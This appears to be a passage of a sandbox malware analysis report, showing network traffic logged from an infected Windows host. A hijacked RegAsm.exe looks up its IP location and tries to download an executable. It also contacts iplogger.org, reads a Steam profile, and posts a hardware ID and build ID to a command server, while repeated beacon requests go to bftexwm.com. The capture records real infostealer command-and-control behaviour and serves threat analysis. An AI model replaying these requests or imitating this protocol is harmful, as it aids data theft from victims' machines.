Aug 30, 2024 03:19:10.624939919 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49840	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:10.905240059 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:11.608253956 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49841	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:11.938110113 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:12.548779964 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49842	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:12.796662092 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:13.474245071 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49843	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:13.686945915 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:14.413533926 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49844	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:14.581728935 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:15.261956930 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49845	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:15.525682926 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:16.217314959 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49846	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:16.482841015 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:17.208209038 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49847	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:17.416490078 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:18.312274933 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49848	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:18.538356066 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:19.192019939 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49849	185.196.8.214	80

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 03:19:19.562395096 CEST	322	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86ec9c844f895a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b415e96cc92be20ea478cc51bbe358b90d3b4eed3233d1626a8ff813c4e69d9a3ccc6b HTTP/1.1 Host: bftexwm.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Aug 30, 2024 03:19:20.228362083 CEST	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 30 Aug 2024 01:19:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49731	172.67.75.163	443	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:16:59 UTC	201	OUT	GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: api.myip.com
2024-08-30 01:16:59 UTC	567	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close vary: Accept-Encoding CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4LcluEZ232InRQ8Xos6q8JyVxv6clOyPfVsEHVLxrRpY4rnz%2FW7k6FRyp7dwsEjcRBnpc3JiANTKPkfpXvgK8hx93hUuAz4ry2SgRWVTgX%2FfW%2FkJxEzs%2BPYVDnBi7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb0f0486a0c8c59-EWR
2024-08-30 01:16:59 UTC	62	IN	Data Raw: 33 38 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 63 63 22 3a 22 55 53 22 7d 0d 0a Data Ascii: 38{"ip":"8.46.123.33","country":"United States","cc":"US"}
2024-08-30 01:16:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49732	34.117.59.81	443	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:00 UTC	250	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: ipinfo.io
2024-08-30 01:17:00 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Fri, 30 Aug 2024 01:17:00 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-08-30 01:17:00 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-08-30 01:17:00 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49741	76.76.21.241	443	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:06 UTC	215	OUT	GET /ffernifre.exes HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: file-link-iota.vercel.app Cache-Control: no-cache
2024-08-30 01:17:06 UTC	363	IN	HTTP/1.1 404 Not Found Cache-Control: public, max-age=0, must-revalidate Content-Length: 39 Content-Type: text/plain; charset=utf-8 Date: Fri, 30 Aug 2024 01:17:06 GMT Server: Vercel Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Vercel-Error: NOT_FOUND X-Vercel-Id: iad1::52mdx-1724980626750-65f1a5042139 Connection: close
2024-08-30 01:17:06 UTC	39	IN	Data Raw: 54 68 65 20 70 61 67 65 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 0a 0a 4e 4f 54 5f 46 4f 55 4e 44 0a Data Ascii: The page could not be foundNOT_FOUND

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49749	104.26.3.46	443	7584	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:24 UTC	210	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0 Host: iplogger.org
2024-08-30 01:17:24 UTC	989	IN	HTTP/1.1 200 OK Date: Fri, 30 Aug 2024 01:17:24 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close memory: 0.42990875244140625 expires: Fri, 30 Aug 2024 01:17:24 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=31536000 x-frame-options: SAMEORIGIN CF-Cache-Status: BYPASS Set-Cookie: 40589004137263905=2; expires=Sat, 30 Aug 2025 01:17:24 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Set-Cookie: clhf03028ja=8.46.123.33; expires=Sat, 30 Aug 2025 01:17:24 GMT; Max-Age=31536000; path=/; secure; HttpOnly; SameSite=Strict Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6stxXtMbV50N5tDMRTeiaYFAWX7UWY4CzvNcXiGrOOg70T9U4gIF7sVATwBaA%2BfSjj0GsHYaGiAJrnBaSbhz0sU0XDDBKBS3pVlzWg8eklkyhDj9UpQT7a80WwlNJw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8bb0f0e478f3180d-EWR
2024-08-30 01:17:24 UTC	122	IN	Data Raw: 37 34 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 00 0a 49 44 41 54 08 99 63 60 00 00 00 02 00 01 f4 71 64 a6 00 00 00 00 49 45 4e 44 ae 42 60 82 0d 0a Data Ascii: 74PNGIHDR%VPLTEz=tRNS@fpHYs+IDATc`qdIENDB`
2024-08-30 01:17:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49762	23.210.122.61	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:48 UTC	119	OUT	GET /profiles/76561199761128941 HTTP/1.1 Host: steamcommunity.com Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:49 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Fri, 30 Aug 2024 01:17:49 GMT Content-Length: 34735 Connection: close Set-Cookie: sessionid=200fe3d629b967d0c29a3ff9; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
2024-08-30 01:17:49 UTC	14514	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0d 0a 09 09 3c Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><
2024-08-30 01:17:49 UTC	10062	IN	Data Raw: 74 72 6f 79 57 68 65 6e 44 6f 6e 65 27 3a 20 66 61 6c 73 65 2c 20 27 74 6f 6f 6c 74 69 70 43 6c 61 73 73 27 3a 20 27 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 65 6e 74 27 2c 20 27 6f 66 66 73 65 74 59 27 3a 2d 36 2c 20 27 6f 66 66 73 65 74 58 27 3a 20 31 2c 20 27 68 6f 72 69 7a 6f 6e 74 61 6c 53 6e 61 70 27 3a 20 34 2c 20 27 74 6f 6f 6c 74 69 70 50 61 72 65 6e 74 27 3a 20 27 23 67 6c 6f 62 61 6c 5f 68 65 61 64 65 72 20 2e 73 75 70 65 72 6e 61 76 5f 63 6f 6e 74 61 69 6e 65 72 27 2c 20 27 63 6f 72 72 65 63 74 46 6f 72 53 63 72 65 65 6e 53 69 7a 65 27 3a 20 66 61 6c 73 65 7d 29 3b 0d 0a 09 09 7d 29 3b 0d 0a 09 3c 2f 73 63 72 69 70 74 3e 0d 0a 0d 0a 09 09 3c 64 69 76 20 69 64 3d 22 67 6c 6f 62 61 6c 5f 61 63 74 69 6f 6e 73 22 3e 0d 0a 09 09 09 3c 64 69 76 20 72 Data Ascii: troyWhenDone': false, 'tooltipClass': 'supernav_content', 'offsetY':-6, 'offsetX': 1, 'horizontalSnap': 4, 'tooltipParent': '#global_header .supernav_container', 'correctForScreenSize': false});});</script><div id="global_actions"><div r
2024-08-30 01:17:49 UTC	10159	IN	Data Raw: 6e 69 74 79 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 43 4f 4d 4d 55 4e 49 54 59 5f 43 44 4e 5f 41 53 53 45 54 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 63 64 6e 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 73 74 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 5c 2f 70 75 62 6c 69 63 5c 2f 61 73 73 65 74 73 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 53 54 4f 52 45 5f 43 44 4e 5f 55 52 4c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 6f 72 65 2e 61 6b 61 6d 61 69 2e 73 74 65 61 6d 73 74 61 74 69 63 2e 63 6f 6d 5c 2f 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 50 55 42 4c 49 43 5f 53 48 41 52 45 44 5f 55 Data Ascii: nity.akamai.steamstatic.com\/","COMMUNITY_CDN_ASSET_URL":"https:\/\/cdn.akamai.steamstatic.com\/steamcommunity\/public\/assets\/","STORE_CDN_URL":"https:\/\/store.akamai.steamstatic.com\/","PUBLIC_SHARED_U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49764	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:50 UTC	214	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:51 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:17:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49765	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:17:51 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAAEHDBFIDAFIDHJEBFB User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 256 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:17:51 UTC	256	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 41 41 45 48 44 42 46 49 44 41 46 49 44 48 4a 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 33 42 30 31 42 33 39 30 31 32 32 32 38 33 38 34 32 30 38 31 30 2d 61 33 33 63 37 33 34 30 2d 36 31 63 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 45 48 44 42 46 49 44 41 46 49 44 48 4a 45 42 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 45 48 44 42 46 49 44 41 46 49 44 48 4a 45 42 46 42 2d 2d 0d Data Ascii: ------BAAEHDBFIDAFIDHJEBFBContent-Disposition: form-data; name="hwid"53B01B3901222838420810-a33c7340-61ca------BAAEHDBFIDAFIDHJEBFBContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------BAAEHDBFIDAFIDHJEBFB--
2024-08-30 01:17:52 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:17:52 UTC	69	IN	Data Raw: 33 61 0d 0a 31 7c 31 7c 31 7c 30 7c 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 7c 31 7c 31 7c 31 7c 30 7c 30 7c 35 30 30 30 30 7c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 3a1\|1\|1\|0\|4ac2cc3efe7248949cf68f33db2291bd\|1\|1\|1\|0\|0\|50000\|00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49767	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
